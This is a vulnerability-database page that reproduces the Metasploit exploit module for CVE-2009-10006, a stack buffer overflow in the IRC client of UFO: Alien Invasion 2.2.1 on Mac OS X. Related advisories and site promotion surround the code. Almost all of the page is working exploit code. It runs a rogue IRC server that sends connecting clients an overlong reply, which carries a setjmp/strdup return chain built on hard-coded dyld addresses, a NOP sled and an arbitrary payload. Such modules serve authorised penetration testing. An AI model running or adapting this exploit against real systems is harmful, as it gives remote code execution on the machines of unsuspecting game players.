Lucene search
+L

UFO: Alien Invasion IRC Client Buffer Overflow

🗓️ 28 Oct 2009 00:00:00Reported by Jason Geffner, dookieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 34 Views

UFO: Alien Invasion IRC Client Buffer Overflow in v2.2.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2009-10006
22 Aug 202514:07
–attackerkb
circl
Circl
CVE-2009-10006
29 May 201815:50
–circl
cnnvd
CNNVD
UFO: Alien Invasion 安全漏洞
22 Aug 202500:00
–cnnvd
cve
CVE
CVE-2009-10006
22 Aug 202514:07
–cve
cvelist
Cvelist
CVE-2009-10006 UFO: Alien Invasion <= 2.2.1 IRC Client Buffer Overflow
22 Aug 202514:07
–cvelist
euvd
EUVD
EUVD-2009-5118
7 Oct 202500:30
–euvd
metasploit
Metasploit
UFO: Alien Invasion IRC Client Buffer Overflow
28 Oct 200900:00
–metasploit
nvd
NVD
CVE-2009-10006
22 Aug 202514:15
–nvd
ptsecurity
Positive Technologies
PT-2025-34366 · Unknown · Ufo: Alien Invasion
22 Aug 202500:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2009-10006: Stack-based Buffer Overflow
22 Aug 202500:00
–rapid7
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in the IRC client component
          of UFO: Alien Invasion 2.2.1.
        },
        'Author' => [
          'Jason Geffner', # Original Windows PoC Author
          'dookie' # OSX Exploit Author
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-10006' ],
          [ 'OSVDB', '65689' ],
          [ 'EDB', '14013' ]
        ],
        'Payload' => {
          'Space' => 400,
          'BadChars' => "\x00\x0a\x0d",
          'MaxNops' => 0,
          'StackAdjustment' => -3500,
        },
        'Platform' => 'osx',
        'Targets' => [
          [
            'Mac OS X 10.5.8 x86, UFOAI 2.2.1',
            {
              'Arch' => ARCH_X86,
              'Offset' => 524,
              'Writable' => 0x8fe66448, # dyld __IMPORT
              # The rest of these addresses are in dyld __TEXT
              'setjmp' => 0x8fe1cf38,
              'strdup' => 0x8fe210dc,
              'jmp_eax' => 0x8fe01041
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-10-28',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
      ]
    )
  end

  def make_exec_payload_from_heap_stub()
    frag0 =
      "\x90" + # nop
      "\x58" + # pop eax
      "\x61" + # popa
      "\xc3"   # ret

    frag1 =
      "\x90" +             # nop
      "\x58" +             # pop eax
      "\x89\xe0" +         # mov eax, esp
      "\x83\xc0\x0c" +     # add eax, byte +0xc
      "\x89\x44\x24\x08" + # mov [esp+0x8], eax
      "\xc3"               # ret

    setjmp = target['setjmp']
    writable = target['Writable']
    strdup = target['strdup']
    jmp_eax = target['jmp_eax']

    exec_payload_from_heap_stub =
      frag0 +
      [setjmp].pack('V') +
      [writable + 32, writable].pack("V2") +
      frag1 +
      "X" * 20 +
      [setjmp].pack('V') +
      [writable + 24, writable, strdup, jmp_eax].pack("V4") +
      "X" * 4
  end

  def on_client_connect(client)
    print_status("Got client connection...")

    offset = target['Offset']

    buffer = "001 :"
    buffer << rand_text_alpha_upper(offset)
    buffer << make_exec_payload_from_heap_stub()
    buffer << make_nops(16)
    buffer << payload.encoded
    buffer << "\x0d\x0a"

    print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
    client.put(buffer)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation